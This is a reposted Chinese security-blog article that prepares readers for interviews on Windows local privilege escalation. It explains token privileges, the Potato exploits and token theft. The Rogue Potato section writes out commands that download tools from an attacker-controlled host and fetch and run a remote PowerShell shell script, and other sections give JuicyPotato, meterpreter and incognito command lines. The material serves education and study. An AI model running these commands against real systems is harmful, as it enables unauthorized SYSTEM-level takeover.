点击上方“蓝字”,关注更多精彩
前言
大家好哇!现在这段时间,经过hvv一面的小伙伴也开始准备厂商的二面了,于是我"缝合"了大量有关于windows系列的本地提权面试的相关问题,并且做了一些整理分享给大家!希望大家面试和入门顺利!
提权基础原理
九大权限是什么?
答:答案如下图所示
权限 | 描述 |
---|---|
SeImpersonatePrivilege | 身份验证后模拟客户端 |
SeAssignPrimaryTokenPrivilege | 替换一个进程级令牌 |
SeTcbPrivilege | 以操作系统方式执行 |
SeBackupPrivilege | 备份文件和目录 |
SeRestorePrivilege | 还原文件和目录 |
SeCreateTokenPrivilege | 创建令牌对象 |
SeLoadDriverPrivilege | 加载和卸载设备驱动程序 |
SeTakeOwnershipPrivilege | 取得文件或其他对象的所有权 |
SeDebugPrivilege | 调试程序 |
"烂土豆"是什么?
答:它是通过欺骗 “NT AUTHORITYSYSTEM”账户通过NTLM认证到我们控制的TCP终端;接着对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITYSYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的;只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌(一般大多数的服务型账户,例如:IIS、MSSQL....具有该权限,大多数用户级别的账户没有该权限)
补充:烂土豆(Rotten Potato) MS16-075提权是一个本地提权,只针对本地用户,不支持域用户
"烂土豆"的前提条件是什么?
答:通过烂土豆提权的重点是模拟令牌,在提权的过程中,我们最好已经获得了一个具有SeImpersonate权限或其他同等权限的账户,通常Windows中的许多服务具有此权限(IIS和SQL Server.....)
补充:IIS或SQL Server的用户通常具有SeImpersonatePrivilege
和SeAssignPrimaryPrivilege
权限;Backup service用户通常具有SeBackupPrivilege
和SeRestorePrivilege
权限
"烂土豆"的优点是什么?
不会存在无法利用的情况
Win系统全版本通杀
提权速度快,不用像hot potato那样有时候需要等Windows更新才能使用
BITS是什么?
答:BITS(后台智能传送服务)是一个Windows组件,它可以在前台或后台异步传输文件,为保证其他网络应用程序获得响应而调整传输速度,并在重新启动计算机或重新建立网络连接之后自动恢复文件传输
补充:系统管理员可以通过BITS从HTTP Web服务器和SMB文件共享下载与上传文件;关键是BIT实现了IMarshal接口并允许代理声明强制NTLM身份验证
CLSID密钥是什么?
答:CLSID是标识COM类对象的全局唯一标识符。如果服务器或容器允许链接到其嵌入对象,则需要为每个支持的对象类注册一个CLSID
Win九大权限解析
SeImpersonatePrivilege
管理员或者本地的服务账户
由服务控制管理器启动的服务
由组件对象模型 (COM) 基础结构启动的并配置为在特定帐户下运行的COM服务器
IIS与SqlServer用户
如果攻击者获得了该系统的权限时,就代表了我们可以通过token窃取实现降权或提权;即盗取当前计算机上的其他令牌供攻击者使用
利用思路
-
利用NTLM Relay to Local Negotiation获得System用户的Token 可使用开源工具Rotten Potato、lonelypotato或者Juicy Potato
-
通过WinAPI CreateProcessWithToken创建新进程,传入System用户的Token 具有SeImpersonatePrivilege权限才能创建成功
-
该Token具有System权限
SeAssignPrimaryTokenPrivilege
利用NTLM Relay to Local Negotiation获得System用户的Token
通过WinAPI CreateProcess创建一个挂起的新进程,参数设置为CREATE_SUSPENDED
通过WinAPI NtSetInformationProcess将新进程的Token替换为System用户的Token
该Token具有System权限
利用原理:跟SeImpersonatePrivilege权限的利用原理类似,都是通过NTLM Relay to Local Negotiation来获取system权限的token,区别是获取token后利用system权限的token创建新的进程,如果开启SeImpersonate权限,调用CreateProcessWithToken,传入System权限的Token,创建的进程为System权限,或者如果开启SeAssignPrimaryToken权限,调用CreateProcessAsUser,传入System权限的Token,创建的进程为System权限。
利用场景:拿到iis或者sqlserver用户的权限,使用juicypotato工具进行提权到system
SeTcbPrivilege
如果攻击者获得了该系统的权限时,就相当于获得了该系统的最高权限....
攻击方法:
调用LsaLogonUser(创建交互式登录会话)获得Token
将该Token添加至Local System account组(核心的,本地系统帐户)
利用该Token赋予的System权限
SeBackupPrivilege
backup service
管理员
如果攻击者获得了该系统的权限时,读取注册表中HKEY_LOCAL_MACHINESAM
、HKEY_LOCAL_MACHINESECURITY
和HKEY_LOCAL_MACHINESYSTEM
文件,然后放在mimikatz里面进行破解得到密码;mimikatz命令:SAM文件获取与解密
补充:这个权限用来实现备份操作,对当前系统任意文件具有读权限
SeRestorePrivilege
如果攻击者获得了该系统的权限时(即写入权限),参考映像劫持
补充:不过在win10中不能用
SeCreateTokenPrivilege
攻击方法:
通过WinAPI ZwCreateToken创建Primary Token
将Token添加至local administrator组
该Token具有System权限
如果攻击者获得了该系统的权限时,可以创建windows令牌或者说token,win10中一般用户没有这个权限
SeLoadDriverPrivilege
攻击方法:
加载驱动文件Capcom.sys
Capcom.sys存在漏洞,系统加载后,可从普通用户权限提升至System权限;利用代码链接
获得System权限
SeTakeOwnershipPrivilege
原理:与SeRestorePrivilege相同,对系统上的任何文件具有写的权限
利用思路
方案一:
获得SeTakeOwnershipPrivilege权限,修改注册表HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options
劫持exe文件的启动
实现提权或是作为后门
方案二:
获得SeTakeOwnershipPrivilege权限,向任意路径写入dll文件
实现dll劫持
实现提权或是作为后门
SeDebugPrivilege
攻击方法
找到system权限的进程
dll注入
获得权限
如果攻击者获得了该系统的权限时,可以实现dll注入的目的
参考:资料
"烂土豆"提权
MSF-烂土豆
工具链接:GitHub地址
上传烂土豆到靶机上,通过msf获取meterpreter 查看是否具有Selmpersonate权限
meterpreter > getprivs
#或者服务器的cmd下键入以下命令 whoami /all whoami /priv
再使用incognito
执行烂土豆,欺骗得到system令牌
use incognito list_tokens -u execute -cH -f c:wmpubpotato.exe
通过MSF令牌模拟system的令牌
meterpreter > execute -f potato.exe -Hc meterpreter > list_tokens -u
impersonate_token "NT AUTHORITYSYSTEM"(模拟成功即可使用)
juicy potato-多汁土豆
影响版本:juicy potato适用<Win 10(部分版本)和Windows Server 2019
工具链接:GitHub地址
whoami /all whoami priv
//查看本地用户的权限,是否具有
SeImpersonate
或SeAssignPrimaryToken
权限netstat -abno//查看RPC默认端口是否为135
C:wmpubJuicyPotato.exe -t t -p c:windowssystem32cmd.exe -l 1111 -c {CLSID}//不同操作系统选择可用的CLSID
如果该提权成功,即可获得system权限的shell,之后就是打开任务管理器,关闭explore
任务后,再次开启explore任务得到一个system权限的桌面
补充:
如果开启SeImpersonate权限,juicypotato的参数可以使用-t t 如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u 如果均开启,可以选择-t * 如果均未开启,那么无法提权。
若rpc服务被修改,则使用-n 参数指定修改后的端口,如 -n 111
netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow//添加防火墙规则,允许135端口入站
Rotten Potato
工具链接:GitHub地址
影响版本:Rotten Potato适用<Win 10(部分版本)和Win Server 19版本
原理
1.通过NT AUTHORITY/SYSTEM运行的RPC将尝试通过CoGetInstanceFromIStorage API调用向我们的本地代理进行身份验证
2.135 端口的RPC将用于回复第一个RPC正在执行的所有请求充当模板
3.AcceptSecurityContextAPI调用以在本地模拟NT AUTHORITY/SYSTEM
攻击流程
首先使用
CoGetInstanceFromIStorage API
接口调用欺骗RPC(远程过程调用);对代理进行身份验证.在此调用中指定了代理 IP/端口通过RPC向代理发送NTLM协商包(协商包被修改为强制本地身份验证)
代理依赖的NTLM协商到RPC在端口135被用作模板;同时开始执行对AcceptSecurityContext的调用以强制进行本地身份验证
通过
RPC 135
和AcceptSecurityContext
用NTLM Challenge回复将两个数据包的内容混合以匹配本地协商并转发到RPC
RPC使用发送到
AcceptSecurityContext(Relay NTLM Auth)
的NLTM Auth包进行响应,开始执行模拟NT AUTHORITY/SYSTEM
Rogue Potato
工具链接:GitHub地址
影响版本:Rogue Potato版本>= Win 10(部分版本)和Win Server 19
原理
Rogue Potato通过指定远程 IP(攻击者 IP)指示 DCOM 服务器执行远程 OXID 查询在远程 IP 上,设置一个"socat"侦听器,用于将 OXID 解析请求重定向到一个假的OXID RPC 服务器伪造的OXID RPC 服务器实现了ResolveOxid2服务器过程;该过程将指向受控命名管道[ncacn_np:localhost/pipe/roguepotato[pipeepmapper]DCOM 服务器将连接到 RPC 服务器以执行IRemUnkown2接口调用。通过连接到命名管道,将执行"身份验证回调",我们可以通过 RpcImpersonateClient()调用模拟调用者;
然后,令牌窃取者可以进行如下步骤;
1.获取rpcss服务的PID;
2.打开进程,列出所有句柄,并为每个句柄尝试复制它并获取句柄类型;
3.如果句柄类型为"Token"且令牌所有者为 SYSTEM,通过尝试CreatProcessAsUser()或CreateProcessWithToken()模拟并启动进程;
补充:当我们运行RoguePotato.exe,我们可以让它在本地机器上启动该服务,或者我们可以在自己控制的 Windows 机器上启动它并让它到达那里如果我想在本地机器上使用解析器,我需要在我的机器上创建一个隧道,该隧道在TCP 135上接收并重定向回目标主机上的解析器
1.
powershell.exe (new-object net.webclient).downloadfile('http://主机IP:端口/RoguePotato.exe', 'C:tmpRoguePotato.exe')powershell.exe (new-object net.webclient).downloadfile('http://主机IP:端口/RogueOxidResolver.exe', 'C:tmpRogueOxidResolver.exe')
2.
.RoguePotato.exe -r 主机IP -c "{B91D5831-B1BD-4608-8198-D72E155020F7}" -e "powershell -c iex( iwr http://主机IP:端口/shell.ps1 -UseBasicParsing )" -l 9999
3.
echo "IEX( IWR http://主机IP:端口/shell1.ps1 -UseBasicParsing)" | iconv -t utf-16le|base64 -w 0
4.
.RoguePotato.exe -r 1主机IP -e "cmd.exe /c powershell -EncodedCommand Base64加密" -l 9999//无法直接使用powershell命令执行上传shell,所以需要转换为base64值进行提权
hot potato
工具链接:GitHub地址
影响版本:hot potato适用=Win7、8、10、Server 08和Server 12
漏洞利用原理:
1.本地NBNS Spoofer:冒充名称解析,强制系统下载恶意WAPD配置
2.伪造WPAD代理服务器:部署malicios WAPD配置,强制系统进行NTLM认证
3.HTTP ->SMB NTLM中继:将WAPD NTLM令牌中继到SMB服务以创建提升的进程
Lovely Potato
Lonely Potato是Rotten Potato的改编版,不依赖meterpreter和Decoder制作的"隐身"模块
Token窃取之降权与提权
windows中Token有两种:
-
Delegation Token(授权令牌):用于交互会话登录
-
Impersonation Token(模拟令牌):用于非交互登录
当我们拿到一台主机进行Token提权的时候,可以查看目标主机是否具有高权限用户的Token,如果有的话就有可能直接提权到Administrator权限;
我们可以通过Incognito工具来对Token进行提权与降权的攻击;使用命令如下图所示:
提权命令
incognito.exe list_tokens -u
incognito.exe execute -c "NT AUTHORITYSYSTEM" cmd.exe
降权命令
incognito.exe list_tokens -u
incognito.exe execute -c "DESKTOP-RMP8TTTtest" cmd.exe
参考文章:地址链接
小结
这次的分享就到此为止了,下次给大家介绍Linux系统的提权方法。eg:脏牛提权,内核提权,SUID提权,sudo提权.....希望大家可以学到东西,共同进步!
作者:面包and牛奶 本篇文章转载自Freebuf原文地址:https://www.freebuf.com/articles/web/335500.html
END
• 往期精选
原文始发于微信公众号(格物安全):Web安全 | 本地提权初探
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论